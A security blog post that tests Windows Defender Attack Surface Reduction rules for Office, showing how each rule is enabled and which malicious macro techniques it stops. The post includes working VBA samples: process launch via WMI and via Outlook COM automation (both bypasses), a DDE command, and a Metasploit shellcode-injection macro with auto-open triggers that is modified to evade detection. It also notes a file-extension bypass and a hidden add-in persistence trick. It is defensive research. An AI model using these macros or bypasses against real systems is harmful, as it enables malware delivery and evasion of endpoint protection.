Windows Defender Exploit Guard ASR Rules for Office

On this blog post I continue looking at the ASR rules, this time I'm looking at the ASR rules for Office.  The ASR rules for office are:

  • Block Office applications from creating child processes
  • Block Office applications from creating executable content
  • Block Office applications from injecting code into other processes
  • Block Win32 API calls from Office macro

These rules only work on the following versions of Microsoft Office on Windows 10, version 1709 (and later) with Windows Defender configured with Real-Time protection enabled:

  • Microsoft Office 365
  • Microsoft Office 2016
  • Microsoft Office 2013
  • Microsoft Office 2010

Another thing to take in to account is that these controls only work with the following Office applications:

  • Microsoft Word
  • Microsoft Excel
  • Microsoft PowerPoint
  • Microsoft OneNote

for testing we will use Word 2016 and Excel for my tests of the feature. 

Office Child Process Creation

Lets look at the most common one with some of the most common technique. We will start by enabling the rule via PowerShell for blocking child process creation from the Office products covered by the control by specifying the rule GUID D4F940AB-401B-4EFC-AADC-AD5F3C50688A and enable blocking. 

Add-MpPreference -AttackSurfaceReductionRules_Ids D4F940AB-401B-4EFC-AADC-AD5F3C50688A -AttackSurfaceReductionRules_Actions Enabled

We will try first VBA Shell, this is the simplest of all methods, no fear of loading wshom.ocx and having that flagged by an EDR software. 

Sub vba_exec()
dblShellReturn = Shell("powershell.exe", vbHide)
End Sub

This technique was blocked as expected.

Next method we will try is using Wscript.Shell COM, this has the unique signature of Office loading the wshom.ocx component.

Sub wshell_exec()
Set wsh = CreateObject("")
wsh.Run "powershell.exe", 1
End Sub

Wscript.Shell was blocked also.

Since the documentation mentions that it also blocks malicious office Add-Ins here is a very simple one that launches notepad.exe. If the attacker is skilled enough he would not run the risk of launching a process but perform all his actions from .Net until he has measured the maturity level of the target to determine what he can and can not do. This technique is great for persistence when used under the user HKCU registry key since tools like AutoRuns from Sysinternals miss it. 

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Xml.Linq;
using Word = Microsoft.Office.Interop.Word;
using Office = Microsoft.Office.Core;
using Microsoft.Office.Tools.Word;
using System.Diagnostics;

namespace BadWordAddIn
public partial class ThisAddIn
private void ThisAddIn_Startup(object sender, System.EventArgs e)

private void ThisAddIn_Shutdown(object sender, System.EventArgs e)

#region VSTO generated code

private void InternalStartup()
this.Startup += new System.EventHandler(ThisAddIn_Startup);
this.Shutdown += new System.EventHandler(ThisAddIn_Shutdown);


Again ASR blocked the process creation. 

Since the rule only monitors for Word, Excel, PowerPoint and OneNote lets try to use the COM technique to have another none covered Office application be the one to launch the process for us. In this case we will have Outlook execute the process.

Sub parent_change()
Dim objOL
Set objOL = CreateObject("Outlook.Application")
Set shellObj = objOL.CreateObject("Wscript.Shell")
shellObj.Run ("notepad.exe")
End Sub
Sub AutoOpen()
End Sub

This technique worked, notepad.exe was launched. Now this technique is not as stealthy as one would think initially. It has the unique aspect that the Outlook process was started with the Embedding switch that we see when an app is automated, not a common occurence in most environments.


Now lets try using WMI to crate the process. 

Sub wmi_exec()
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set objStartUp = objWMIService.Get("Win32_ProcessStartup")
Set objProc = objWMIService.Get("Win32_Process")
Set procStartConfig = objStartUp.SpawnInstance_
procStartConfig.ShowWindow = 1
objProc.Create "powershell.exe", Null, procStartConfig, intProcessID
End Sub

Using WMI worked, it launches the process from wmiprvse.exe so it has a very unique process tree.


Next I tried DDE to get command excution. 

{DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe"  }

Execution was blocked.

Results of all child process test are in the table bellow:



Process Injection and Win32 API

I will now test Process Injection and Win32 API use by leveraging the macro bellow I generated from Metasploit and modified slightly to bypass the Windows Defender rule for it. The macro leverages several Win32 API calls and injects the payload in to memory

#If Vba7 Then
    Private Declare PtrSafe Function Create Lib "kernel32" Alias "CreateThread" (ByVal Plw As Long, ByVal Bxzjkhnm As Long, ByVal Grmeywgct As LongPtr, Rirsi As Long, ByVal Puh As Long, Uxbkmiu As Long) As LongPtr
    Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Bgsndokwj As Long, ByVal Nmni As Long, ByVal Oobnx As Long, ByVal Ioioyh As Long) As LongPtr
    Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Vhzrnxtai As LongPtr, ByRef Ihfu As Any, ByVal Zkph As Long) As LongPtr
    Private Declare Function Create Lib "kernel32" Alias "CreateThread" (ByVal Plw As Long, ByVal Bxzjkhnm As Long, ByVal Grmeywgct As Long, Rirsi As Long, ByVal Puh As Long, Uxbkmiu As Long) As Long
    Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Bgsndokwj As Long, ByVal Nmni As Long, ByVal Oobnx As Long, ByVal Ioioyh As Long) As Long
    Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Vhzrnxtai As Long, ByRef Ihfu As Any, ByVal Zkph As Long) As Long

Sub Auto_Open()
    Dim Qgvx As Long, Cdeokfqii As Variant, Zuszlsq As Long
#If Vba7 Then
    Dim Slut As LongPtr, Lytcsql As LongPtr
    Dim Slut As Long, Lytcsql As Long
    Cdeokfqii = Array(232,130,0,0,0,96,137,229,49,192,100,139,80,48,139,82,12,139,82,20,139,114,40,15,183,74,38,49,255,172,60,97,124,2,44,32,193,207,13,1,199,226,242,82,87,139,82,16,139,74,60,139,76,17,120,227,72,1,209,81,139,89,32,1,211,139,73,24,227,58,73,139,52,139,1,214,49,255,172,193, _
207,13,1,199,56,224,117,246,3,125,248,59,125,36,117,228,88,139,88,36,1,211,102,139,12,75,139,88,28,1,211,139,4,139,1,208,137,68,36,36,91,91,97,89,90,81,255,224,95,95,90,139,18,235,141,93,106,1,141,133,178,0,0,0,80,104,49,139,111,135,255,213,187,240,181,162,86,104,166,149, _

    Slut = VirtualAlloc(0, UBound(Cdeokfqii), &H1000, &H40)
    For Zuszlsq = LBound(Cdeokfqii) To UBound(Cdeokfqii)
        Qgvx = Cdeokfqii(Zuszlsq)
        Lytcsql = RtlMoveMemory(Slut + Zuszlsq, Qgvx, 1)
    Next Zuszlsq
    Lytcsql = Create(0, 0, Slut, 0, 0, 0)
End Sub
Sub AutoOpen()
End Sub
Sub Workbook_Open()
End Sub

I started by enabling the Process Injection Rule. 

Add-MpPreference -AttackSurfaceReductionRules_Ids 75668C1F-73B5-4CF0-BB93-3ECF5CB7CC84 -AttackSurfaceReductionRules_Actions enable

This macro injects in to it self I expect given that the wording of the rule is that it will allow execution since the macro is not injecting in to another process. My hunch was proven correct the code worked and calc was launched. The description in the rule is clear but when the default of Cobalt Strike and Metasploit, plus many block post basing themselfs off the research of Diddier Stevens and ScriptJunike inject in such manner I was surprised the scenario was not covered. Sadly I do not have samples in my playbook for injecting in to other processes to test.

Now this should be mitigated by the next rule that prevents the abuse of Win32 API calls in macros. 

To enabled the rule we just need to run Add-MpPreference cmlet and specify the appropriate GUID. 

Add-MpPreference -AttackSurfaceReductionRules_Ids 92E97FA1-2EDF-4476-BDD6-9DD0B4DDDC7B -AttackSurfaceReductionRules_Actions enable

When I execute the same file as I did before it is blocked and reported in to the event log. This is a great mitigation to the injection techniques since most rely on Win32 API to achieve their task. 

Block Executable Content Creation

The Block Office applications from creating executable content rule will block the creation of Windows Scripting Hosts files, CMD, BAT, EXE, DLL and other file types. 

To enabled the rule we just need to run Add-MpPreference cmlet and specify the appropriate GUID. 

Add-MpPreference -AttackSurfaceReductionRules_Ids '3B576869-A4EC-4529-8536-B80A7769E899' -AttackSurfaceReductionRules_Actions enable

Once enabled we can test the rule by using the following macro.

Sub Auto_Open()
Dim fso As Object
Set fso = CreateObject("Scripting.FileSystemObject")
Dim oFile As Object
Dim TmpFolder As Object
Set TmpFolder = fso.GetSpecialFolder(2)
Set oFile = fso.CreateTextFile(TmpFolder & "\script.vbs")
oFile.WriteLine "Set wsh = CreateObject('')"
oFile.WriteLine "wsh.Run 'calc.exe', 1"
End Sub

Once the macro executes the creation of the VBS script is blocked and the action is logged. 


This rule blocks based on file extension. By changing the extension we are able to bypass the rule. When the rule is used with the child process creation rule it can mitigate the creation of a file with a none blocked extension than then is launched by an interpreter. 


The ASR rules for Office when combined with each other and with the existing policies for blocking macros limiting access and use to a selected group that need the function mitigates very well the exposure. The rules are not perfect since they can be bypassed but no control in it of it self is infallible. Like any control to mitigate attacks having knowledge of how they can be bypass allows for the building of a layered approached that can alert on malicious behavior.  This is why I preferred to look at all this specific rules together. 

As always I hope you find the information in the blog post useful.